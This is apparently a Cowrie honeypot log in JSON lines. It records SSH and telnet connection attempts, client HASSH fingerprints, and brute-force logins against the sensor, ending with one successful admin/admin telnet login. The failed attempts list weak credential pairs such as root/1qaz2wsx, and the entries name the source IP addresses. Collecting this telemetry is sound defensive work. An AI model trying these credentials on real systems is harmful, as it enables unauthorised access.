{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54786,"dst_ip":"10.17.0.5","dst_port":23,"session":"c955d52ab134","protocol":"telnet","message":"New connection: 152.42.224.71:54786 (10.17.0.5:23) [session: c955d52ab134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:20.874762Z"}
{"eventid":"cowrie.session.closed","duration":44.56266808509827,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:21.202770Z","src_ip":"152.42.224.71","session":"4065e7516435","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40322,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcc41e73c5e1","protocol":"ssh","message":"New connection: 31.40.204.166:40322 (159.203.135.109:22) [session: dcc41e73c5e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:22.584321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:22.701421Z","src_ip":"31.40.204.166","session":"dcc41e73c5e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:22.794239Z","src_ip":"31.40.204.166","session":"dcc41e73c5e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:23.306891Z","src_ip":"31.40.204.166","session":"dcc41e73c5e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00203967094421,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:24.098008Z","src_ip":"152.42.224.71","session":"a093a2d4a78b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:24.507208Z","src_ip":"31.40.204.166","session":"dcc41e73c5e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54788,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb331a5ac54","protocol":"telnet","message":"New connection: 152.42.224.71:54788 (10.17.0.5:23) [session: bdb331a5ac54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:25.771659Z"}
{"eventid":"cowrie.session.closed","duration":120.00112175941467,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:26.192833Z","src_ip":"152.42.224.71","session":"2bbcee19b1fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.68198537826538,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:26.864883Z","src_ip":"152.42.224.71","session":"044067bf1160","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.82807397842407,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:27.335280Z","src_ip":"152.42.224.71","session":"beeba3f2ed44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33676,"dst_ip":"10.17.0.5","dst_port":23,"session":"00855f0a5eb1","protocol":"telnet","message":"New connection: 152.42.224.71:33676 (10.17.0.5:23) [session: 00855f0a5eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:28.028111Z"}
{"eventid":"cowrie.session.closed","duration":117.48453140258789,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:28.161664Z","src_ip":"152.42.224.71","session":"e671d820d263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33690,"dst_ip":"10.17.0.5","dst_port":23,"session":"97b8e0629961","protocol":"telnet","message":"New connection: 152.42.224.71:33690 (10.17.0.5:23) [session: 97b8e0629961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:29.019336Z"}
{"eventid":"cowrie.session.closed","duration":43.07960486412048,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:31.262587Z","src_ip":"152.42.224.71","session":"8e07a905d5bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00287103652954,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:33.012603Z","src_ip":"152.42.224.71","session":"2b03ffe5ff22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33698,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6b514ed8e94","protocol":"telnet","message":"New connection: 152.42.224.71:33698 (10.17.0.5:23) [session: f6b514ed8e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:33.962451Z"}
{"eventid":"cowrie.session.closed","duration":28.193952560424805,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:34.320651Z","src_ip":"152.42.224.71","session":"5c048158dd9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35040,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b1b4c1e801b","protocol":"ssh","message":"New connection: 31.40.204.166:35040 (159.203.135.109:22) [session: 8b1b4c1e801b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:34.408186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:34.422095Z","src_ip":"31.40.204.166","session":"8b1b4c1e801b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:34.584692Z","src_ip":"31.40.204.166","session":"8b1b4c1e801b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:35.206714Z","src_ip":"31.40.204.166","session":"8b1b4c1e801b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.066370487213135,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:35.922098Z","src_ip":"152.42.224.71","session":"64b883eb6642","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:36.380993Z","src_ip":"31.40.204.166","session":"8b1b4c1e801b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.93966293334961,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:38.903423Z","src_ip":"152.42.224.71","session":"83ea32ab0c7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.84161829948425,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:40.198317Z","src_ip":"152.42.224.71","session":"c8e943e47854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00355339050293,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:42.612295Z","src_ip":"152.42.224.71","session":"077380707b3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38600,"dst_ip":"159.203.135.109","dst_port":22,"session":"16f5ceb82c86","protocol":"ssh","message":"New connection: 31.40.204.166:38600 (159.203.135.109:22) [session: 16f5ceb82c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:45.188260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:45.200290Z","src_ip":"31.40.204.166","session":"16f5ceb82c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:45.385916Z","src_ip":"31.40.204.166","session":"16f5ceb82c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00167465209961,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:45.773670Z","src_ip":"152.42.224.71","session":"5929ca1157b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:45.880924Z","src_ip":"31.40.204.166","session":"16f5ceb82c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:47.122147Z","src_ip":"31.40.204.166","session":"16f5ceb82c86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50710,"dst_ip":"10.17.0.5","dst_port":23,"session":"3881a8f13b77","protocol":"telnet","message":"New connection: 152.42.224.71:50710 (10.17.0.5:23) [session: 3881a8f13b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:51.819038Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50716,"dst_ip":"10.17.0.5","dst_port":23,"session":"6897aaaa8226","protocol":"telnet","message":"New connection: 152.42.224.71:50716 (10.17.0.5:23) [session: 6897aaaa8226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:51.833538Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":52798,"dst_ip":"159.203.135.109","dst_port":22,"session":"3856c347846a","protocol":"ssh","message":"New connection: 62.133.63.178:52798 (159.203.135.109:22) [session: 3856c347846a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:51.855801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:51.860300Z","src_ip":"62.133.63.178","session":"3856c347846a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:51.983037Z","src_ip":"62.133.63.178","session":"3856c347846a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qw","message":"login attempt [root/123123qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:52.354783Z","src_ip":"62.133.63.178","session":"3856c347846a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:53.479926Z","src_ip":"62.133.63.178","session":"3856c347846a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50728,"dst_ip":"10.17.0.5","dst_port":23,"session":"89008b3a727f","protocol":"telnet","message":"New connection: 152.42.224.71:50728 (10.17.0.5:23) [session: 89008b3a727f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:55.302566Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52778,"dst_ip":"10.17.0.5","dst_port":23,"session":"07308d526ee1","protocol":"telnet","message":"New connection: 152.42.224.71:52778 (10.17.0.5:23) [session: 07308d526ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:55.878783Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34616,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ed15c60dc4b","protocol":"ssh","message":"New connection: 31.40.204.166:34616 (159.203.135.109:22) [session: 7ed15c60dc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:55.982941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:56.016211Z","src_ip":"31.40.204.166","session":"7ed15c60dc4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:56.123064Z","src_ip":"31.40.204.166","session":"7ed15c60dc4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:56.719273Z","src_ip":"31.40.204.166","session":"7ed15c60dc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:57.925310Z","src_ip":"31.40.204.166","session":"7ed15c60dc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.571332693099976,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:56:58.445996Z","src_ip":"152.42.224.71","session":"c955d52ab134","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:02.854938Z","src_ip":"152.32.132.28","session":"9a5565e7daf1","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:02.913464Z","src_ip":"152.32.132.28","session":"9a5565e7daf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":55490,"dst_ip":"159.203.135.109","dst_port":22,"session":"6797d02da8ea","protocol":"ssh","message":"New connection: 185.236.22.41:55490 (159.203.135.109:22) [session: 6797d02da8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:03.390114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:03.395520Z","src_ip":"185.236.22.41","session":"6797d02da8ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:03.515052Z","src_ip":"185.236.22.41","session":"6797d02da8ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.9654324054718,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:03.737000Z","src_ip":"152.42.224.71","session":"bdb331a5ac54","protocol":"telnet"}
